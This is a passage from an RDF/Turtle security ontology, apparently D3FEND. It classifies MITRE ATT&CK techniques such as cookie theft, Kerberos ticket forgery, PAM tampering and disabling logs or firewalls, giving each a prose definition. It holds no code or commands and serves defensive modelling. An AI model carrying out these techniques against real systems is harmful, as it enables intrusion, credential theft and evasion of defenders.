    d3f:definition "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs." ;
    rdfs:comment "This technique has been revoked by T1578.004" ;
    rdfs:seeAlso d3f:T1578.004 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1537 a owl:Class ;
    rdfs:label "Transfer Data to Cloud Account" ;
    d3f:attack-id "T1537" ;
    d3f:definition "Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service." ;
    rdfs:subClassOf d3f:ExfiltrationTechnique .

d3f:T1538 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Service Dashboard" ;
    d3f:accesses d3f:CloudConfiguration ;
    d3f:attack-id "T1538" ;
    d3f:definition "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:CloudConfiguration ],
        d3f:DiscoveryTechnique .

d3f:T1539 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Steal Web Session Cookie" ;
    d3f:accesses d3f:SessionCookie ;
    d3f:attack-id "T1539" ;
    d3f:definition "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:SessionCookie ],
        d3f:CredentialAccessTechnique .

d3f:T1540 a owl:Class ;
    rdfs:label "Code Injection - ATTACK Mobile" ;
    d3f:attack-id "T1540" ;
    d3f:definition "Adversaries may use code injection attacks to implant arbitrary code into the address space of a running application. Code is then executed or interpreted by that application. Adversaries utilizing this technique may exploit capabilities to load code in at runtime through dynamic libraries." ;
    rdfs:comment "This technique has been revoked by T1631.001" ;
    rdfs:seeAlso d3f:T1631.001 ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobilePersistenceTechnique,
        d3f:ATTACKMobilePrivilegeEscalationTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Code Injection" .

d3f:T1541 a owl:Class ;
    rdfs:label "Foreground Persistence - ATTACK Mobile" ;
    d3f:attack-id "T1541" ;
    d3f:definition "Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android’s `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices)" ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobilePersistenceTechnique ;
    skos:prefLabel "Foreground Persistence" .

d3f:T1542.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "ROMMONkit" ;
    d3f:attack-id "T1542.004" ;
    d3f:definition "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)" ;
    d3f:modifies d3f:SystemFirmware ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemFirmware ],
        d3f:T1542 .

d3f:T1542.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "TFTP Boot" ;
    d3f:attack-id "T1542.005" ;
    d3f:creates d3f:TFTPNetworkTraffic ;
    d3f:definition "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:TFTPNetworkTraffic ],
        d3f:T1542 .

d3f:T1543.005 a owl:Class ;
    rdfs:label "Container Service" ;
    d3f:attack-id "T1543.005" ;
    d3f:definition "Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host." ;
    rdfs:subClassOf d3f:T1543 .

d3f:T1544 a owl:Class ;
    rdfs:label "Ingress Tool Transfer - ATTACK Mobile" ;
    d3f:attack-id "T1544" ;
    d3f:definition "Adversaries may transfer tools or other files from an external system onto a compromised device to facilitate follow-on actions. Files may be copied from an external adversary-controlled system through the command and control channel  or through alternate protocols with another tool such as FTP." ;
    rdfs:subClassOf d3f:ATTACKMobileCommandAndControlTechnique ;
    skos:prefLabel "Ingress Tool Transfer" .

d3f:T1546.016 a owl:Class ;
    rdfs:label "Installer Packages" ;
    d3f:attack-id "T1546.016" ;
    d3f:definition "Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)" ;
    rdfs:subClassOf d3f:T1546 .

d3f:T1546.017 a owl:Class ;
    rdfs:label "Udev Rules" ;
    d3f:attack-id "T1546.017" ;
    d3f:definition "Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.(Citation: Ignacio Udev research 2024)(Citation: Elastic Linux Persistence 2024)" ;
    rdfs:subClassOf d3f:T1546 .

d3f:T1547.012 a owl:Class ;
    rdfs:label "Print Processors" ;
    d3f:attack-id "T1547.012" ;
    d3f:definition "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)" ;
    rdfs:subClassOf d3f:T1547 .

d3f:T1547.013 a owl:Class ;
    rdfs:label "XDG Autostart Entries" ;
    d3f:attack-id "T1547.013" ;
    d3f:definition "Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user’s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)" ;
    rdfs:subClassOf d3f:T1547 .

d3f:T1547.014 a owl:Class ;
    rdfs:label "Active Setup" ;
    d3f:attack-id "T1547.014" ;
    d3f:definition "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level." ;
    rdfs:subClassOf d3f:T1547 .

d3f:T1547.015 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Login Items" ;
    d3f:attack-id "T1547.015" ;
    d3f:definition "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>." ;
    d3f:modifies d3f:UserLogonInitResource ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:UserLogonInitResource ],
        d3f:T1547 .

d3f:T1548.005 a owl:Class ;
    rdfs:label "Temporary Elevated Cloud Access" ;
    d3f:attack-id "T1548.005" ;
    d3f:definition "Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own." ;
    rdfs:subClassOf d3f:T1548 .

d3f:T1548.006 a owl:Class ;
    rdfs:label "TCC Manipulation" ;
    d3f:attack-id "T1548.006" ;
    d3f:definition "Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to execute malicious applications with elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA)." ;
    rdfs:subClassOf d3f:T1548 .

d3f:T1552.006 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Group Policy Preferences" ;
    d3f:accesses d3f:GroupPolicy ;
    d3f:attack-id "T1552.006" ;
    d3f:definition "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:GroupPolicy ],
        d3f:T1552 .

d3f:T1552.007 a owl:Class ;
    rdfs:label "Container API" ;
    d3f:attack-id "T1552.007" ;
    d3f:definition "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)" ;
    rdfs:subClassOf d3f:T1552 .

d3f:T1552.008 a owl:Class ;
    rdfs:label "Chat Messages" ;
    d3f:attack-id "T1552.008" ;
    d3f:definition "Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels." ;
    rdfs:subClassOf d3f:T1552 .

d3f:T1553.005 a owl:Class ;
    rdfs:label "Mark-of-the-Web Bypass" ;
    d3f:attack-id "T1553.005" ;
    d3f:definition "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)" ;
    rdfs:subClassOf d3f:T1553 .

d3f:T1553.006 a owl:Class ;
    rdfs:label "Code Signing Policy Modification" ;
    d3f:attack-id "T1553.006" ;
    d3f:definition "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system." ;
    rdfs:subClassOf d3f:T1553 .

d3f:T1555.004 a owl:Class ;
    rdfs:label "Windows Credential Manager" ;
    d3f:attack-id "T1555.004" ;
    d3f:definition "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)" ;
    rdfs:subClassOf d3f:T1555 .

d3f:T1555.005 a owl:Class ;
    rdfs:label "Password Managers" ;
    d3f:attack-id "T1555.005" ;
    d3f:definition "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)" ;
    rdfs:subClassOf d3f:T1555 .

d3f:T1555.006 a owl:Class ;
    rdfs:label "Cloud Secrets Management Stores" ;
    d3f:attack-id "T1555.006" ;
    d3f:definition "Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault." ;
    rdfs:subClassOf d3f:T1555 .

d3f:T1556.001 a owl:Class ;
    rdfs:label "Domain Controller Authentication" ;
    d3f:attack-id "T1556.001" ;
    d3f:definition "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts." ;
    rdfs:subClassOf d3f:T1556 .

d3f:T1556.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Pluggable Authentication Modules" ;
    d3f:attack-id "T1556.003" ;
    d3f:definition "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)" ;
    d3f:may-modify d3f:OperatingSystemConfigurationFile,
        d3f:OperatingSystemSharedLibraryFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:OperatingSystemSharedLibraryFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:OperatingSystemConfigurationFile ],
        d3f:T1556 .

d3f:T1556.004 a owl:Class ;
    rdfs:label "Network Device Authentication" ;
    d3f:attack-id "T1556.004" ;
    d3f:definition "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices." ;
    rdfs:subClassOf d3f:T1556 .

d3f:T1556.005 a owl:Class ;
    rdfs:label "Reversible Encryption" ;
    d3f:attack-id "T1556.005" ;
    d3f:definition "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)" ;
    rdfs:subClassOf d3f:T1556 .

d3f:T1556.006 a owl:Class ;
    rdfs:label "Multi-Factor Authentication" ;
    d3f:attack-id "T1556.006" ;
    d3f:definition "Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts." ;
    rdfs:subClassOf d3f:T1556 .

d3f:T1556.007 a owl:Class ;
    rdfs:label "Hybrid Identity" ;
    d3f:attack-id "T1556.007" ;
    d3f:definition "Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts." ;
    rdfs:subClassOf d3f:T1556 .

d3f:T1556.008 a owl:Class ;
    rdfs:label "Network Provider DLL" ;
    d3f:attack-id "T1556.008" ;
    d3f:definition "Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify)" ;
    rdfs:subClassOf d3f:T1556 .

d3f:T1556.009 a owl:Class ;
    rdfs:label "Conditional Access Policies" ;
    d3f:attack-id "T1556.009" ;
    d3f:definition "Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource." ;
    rdfs:subClassOf d3f:T1556 .

d3f:T1557.002 a owl:Class ;
    rdfs:label "ARP Cache Poisoning" ;
    d3f:attack-id "T1557.002" ;
    d3f:definition "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)." ;
    rdfs:subClassOf d3f:T1557 .

d3f:T1557.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DHCP Spoofing" ;
    d3f:attack-id "T1557.003" ;
    d3f:creates d3f:DHCPNetworkTraffic ;
    d3f:definition "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:DHCPNetworkTraffic ],
        d3f:T1557 .

d3f:T1557.004 a owl:Class ;
    rdfs:label "Evil Twin" ;
    d3f:attack-id "T1557.004" ;
    d3f:definition "Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or [Input Capture](https://attack.mitre.org/techniques/T1056).(Citation: Australia ‘Evil Twin’)" ;
    rdfs:subClassOf d3f:T1557 .

d3f:T1558.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Golden Ticket" ;
    d3f:attack-id "T1558.001" ;
    d3f:definition "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection)" ;
    d3f:forges d3f:KerberosTicketGrantingTicket ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:forges ;
            owl:someValuesFrom d3f:KerberosTicketGrantingTicket ],
        d3f:T1558 .

d3f:T1558.002 a owl:Class ;
    rdfs:label "Silver Ticket" ;
    d3f:attack-id "T1558.002" ;
    d3f:definition "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)" ;
    rdfs:subClassOf d3f:T1558 .

d3f:T1558.004 a owl:Class ;
    rdfs:label "AS-REP Roasting" ;
    d3f:attack-id "T1558.004" ;
    d3f:definition "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017)" ;
    rdfs:subClassOf d3f:T1558 .

d3f:T1558.005 a owl:Class ;
    rdfs:label "Ccache Files" ;
    d3f:attack-id "T1558.005" ;
    d3f:definition "Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials." ;
    rdfs:subClassOf d3f:T1558 .

d3f:T1559.001 a owl:Class ;
    rdfs:label "Component Object Model" ;
    d3f:attack-id "T1559.001" ;
    d3f:definition "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as  [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)" ;
    rdfs:subClassOf d3f:T1559 .

d3f:T1559.003 a owl:Class ;
    rdfs:label "XPC Services" ;
    d3f:attack-id "T1559.003" ;
    d3f:definition "Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)" ;
    rdfs:subClassOf d3f:T1559 .

d3f:T1560.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Archive via Utility" ;
    d3f:attack-id "T1560.001" ;
    d3f:creates d3f:ArchiveFile ;
    d3f:definition "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:ArchiveFile ],
        d3f:T1560 .

d3f:T1560.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Archive via Library" ;
    d3f:attack-id "T1560.002" ;
    d3f:creates d3f:ArchiveFile ;
    d3f:definition "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:ArchiveFile ],
        d3f:T1560 .

d3f:T1560.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Archive via Custom Method" ;
    d3f:attack-id "T1560.003" ;
    d3f:creates d3f:CustomArchiveFile ;
    d3f:definition "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:CustomArchiveFile ],
        d3f:T1560 .

d3f:T1562.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Disable Windows Event Logging" ;
    d3f:attack-id "T1562.002" ;
    d3f:definition "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections." ;
    d3f:may-modify d3f:ApplicationConfiguration,
        d3f:OperatingSystemConfigurationComponent ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:ApplicationConfiguration ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:OperatingSystemConfigurationComponent ],
        d3f:T1562 .

d3f:T1562.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Disable or Modify System Firewall" ;
    d3f:attack-id "T1562.004" ;
    d3f:definition "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel." ;
    d3f:modifies d3f:SystemFirewallConfiguration ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemFirewallConfiguration ],
        d3f:T1562 .

d3f:T1562.007 a owl:Class ;
    rdfs:label "Disable or Modify Cloud Firewall" ;
    d3f:attack-id "T1562.007" ;
    d3f:definition "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004)." ;
    rdfs:subClassOf d3f:T1562 .

d3f:T1562.008 a owl:Class ;
    rdfs:label "Disable or Modify Cloud Logs" ;
    d3f:attack-id "T1562.008" ;
    d3f:definition "An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities." ;
    rdfs:subClassOf d3f:T1562 .

d3f:T1562.009 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Safe Mode Boot" ;
    d3f:attack-id "T1562.009" ;
    d3f:definition "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)" ;
    d3f:disables d3f:EndpointSensor,
        d3f:SystemConfigurationInitDatabaseRecord ;
    d3f:may-modify d3f:EndpointHealthBeacon ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:disables ;
            owl:someValuesFrom d3f:SystemConfigurationInitDatabaseRecord ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:EndpointHealthBeacon ],
        [ a owl:Restriction ;
            owl:onProperty d3f:disables ;
            owl:someValuesFrom d3f:EndpointSensor ],
        d3f:T1562 .

d3f:T1562.010 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Downgrade Attack" ;
    d3f:accesses d3f:LegacySystem ;
    d3f:attack-id "T1562.010" ;
    d3f:definition "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system’s backward compatibility to force it into less secure modes of operation." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:LegacySystem ],
        d3f:T1562 .

d3f:T1562.011 a owl:Class ;
    rdfs:label "Spoof Security Alerting" ;
    d3f:attack-id "T1562.011" ;
    d3f:definition "Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders’ awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident." ;
    rdfs:subClassOf d3f:T1562 .

d3f:T1562.012 a owl:Class ;
    rdfs:label "Disable or Modify Linux Audit System" ;
    d3f:attack-id "T1562.012" ;
    d3f:definition "Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules." ;
    rdfs:subClassOf d3f:T1562 .

d3f:T1563.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "RDP Hijacking" ;
    d3f:accesses d3f:RDPSession ;
    d3f:attack-id "T1563.002" ;
    d3f:definition "Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:RDPSession ],
        d3f:T1563 .

d3f:T1564.005 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hidden File System" ;
    d3f:attack-id "T1564.005" ;
    d3f:definition "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)" ;
    d3f:may-modify d3f:SystemConfigurationDatabase ;
    d3f:modifies d3f:Storage ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:SystemConfigurationDatabase ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:Storage ],
        d3f:T1564 .

d3f:T1564.006 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Run Virtual Instance" ;
    d3f:attack-id "T1564.006" ;
